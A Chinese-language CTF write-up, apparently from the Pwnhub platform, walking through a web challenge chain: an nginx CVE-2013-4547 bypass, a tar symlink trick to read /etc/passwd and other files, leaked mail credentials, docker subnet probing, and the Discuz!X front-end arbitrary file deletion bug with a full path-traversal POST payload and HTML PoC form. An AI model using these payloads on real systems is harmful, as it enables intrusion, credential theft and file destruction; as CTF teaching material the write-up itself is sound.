2013的国庆Writeup

Posted by Pwnhub on 2017-10-04

为了填补没有出行打算的 CTFer 的假期空白,胖哥特地在国庆之际上了一道十分接近实战的 Web 题,并且把它贴心地放在了国庆假期的第二天,让连续工作学习了六天的各位师傅可以先好好休息~如果你也觉得胖哥很贴心,可以到胖哈勃的微博给胖哥点赞喔!

本次题目来自 @栋栋的栋 ,Writeup 来自 @C014 ,特别说一下,本次题目一血也由 @C014 师傅收入囊中——通宵撸题,甚是感动 0.0

下面, Writeup 开始!


国庆不好好玩,去通宵撸题?


题目

题目地址:54.223.177.152:80
更新
2017.10.03 17:50:16 搞 Discuz 不是目的,谁说鸡肋就没用,看 Discuz 送助攻
2017.10.03 11:24:40 想办法把它变成任意文件读取,但 Flag 不在这儿 ,当作一次真实渗透玩吧!
2017.10.02 15:45:49 Nginx 虽然有过很多问题,但是它是个好 server

解题大致流程

对我来说,遇到的几个关键点是
CVE-2013-4547 + 软链接任意读文件 + 信息泄漏 (+ VPN连接) + docker默认网段探测 + Discuz!X前台任意文件删除漏洞

CVE-2013-4547

打开题目地址,是一个 nginx 成功运行的页面
先拿 nmap 扫一下发现只有 2280 端口开放
而且 ssh 有限制
拿扫描器扫扫一发发现了 .DS_Store 文件

其中发现了几个目录

1
2
3
4
5
admin/
config/
includes/
pwnhub/
upload / #这里upload后面有个空格

其中有用的目录为 pwnhub/ 显示 403
结合 CVE-2013-4547pwmhub/ 目录下的文件

发现新目录,进入

软链接任意读文件

盲测的时候发现传啥都没什么回显

后来又扫出 .DS_Store 文件

发现当前目录下有

1
2
index.php
untar.py

直接下载 untar.py 查看分析

有跨目录的过滤,而且只判断了第一个文件或者目录就 return 了

条件只需要文件名或目录结尾为 .cfg 就可以,但是只有传文件的时候会有回显

随便写入 123 进文件 1.cfg 然后打包为 tar 上传,发现有了回显,为 123


是个文件读取功能

然后利用软链接方式任意文件读取

1
ln -s /etc/passwd 1.cfg


信息泄漏

读的时候发现是个 docker 容器

关键信息在 /etc/crontab

cron_run.sh 内容是

1
2
#\!/bin/bash
cd /home/jdoajdoiq/jdijiqjwi/jiqji12i3198uax192/run/ && python run.py

读取 run.py

再从 mail_send.py 读取了邮箱的账号密码

从邮箱中获取了 VPN 的信息

(我用 mac 连 L2TP/IPsec PSK 搞了半天…感觉学校网有毒

docker默认网段探测

docker 启动时默认使用 172.17.x.x 作为容器的 ip 地址

很友好的是目标 ip 在 172.17.0.3

存在 index.php

这里无论怎么构造都会回显 'Oh,Hacked ?' ,应该是 safe.php 的原因

nmap 扫发现开放了 80, 33068090 端口

直接访问 8090端口发现是 Discuz! X3.2

Discuz!X前台任意文件删除漏洞

想起前几天才出的 Discuz!X 前台任意文件删除漏洞

然后结合 index.php 里面的 include 'safe.php' ;

直接删掉 safe.php 就好

首先注册用户,然后向

1
http://172.17.0.3:8090/home.php?mod=spacecp&ac=profile&op=base

post 数据

1
birthprovince=../../../../../../../../../../../../usr/share/nginx/html/safe.php&profilesubmit=1&formhash=b8f4701a

formhash 为用户 hash
(CentOs nginx 根目录在/usr/share/nginx/html/)

然后向

1
http://172.17.0.3:8090/home.php?mod=spacecp&ac=profile&op=base

上传文件

poc:

1
2
3
4
5
6
<form action="http://172.17.0.3:8090/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="b8f4701a"/></p>
<input type="text" name="profilesubmit" value="1"/></p>
<input type="submit" value="Submit" />
</from>

随便上传个文件即可完成 safe.php 文件删除(要改 referer 不然会报错显示来路不正确之类的

get flag

然后访问 http://172.17.0.3/index.php?passwd=jiajiajiajiajia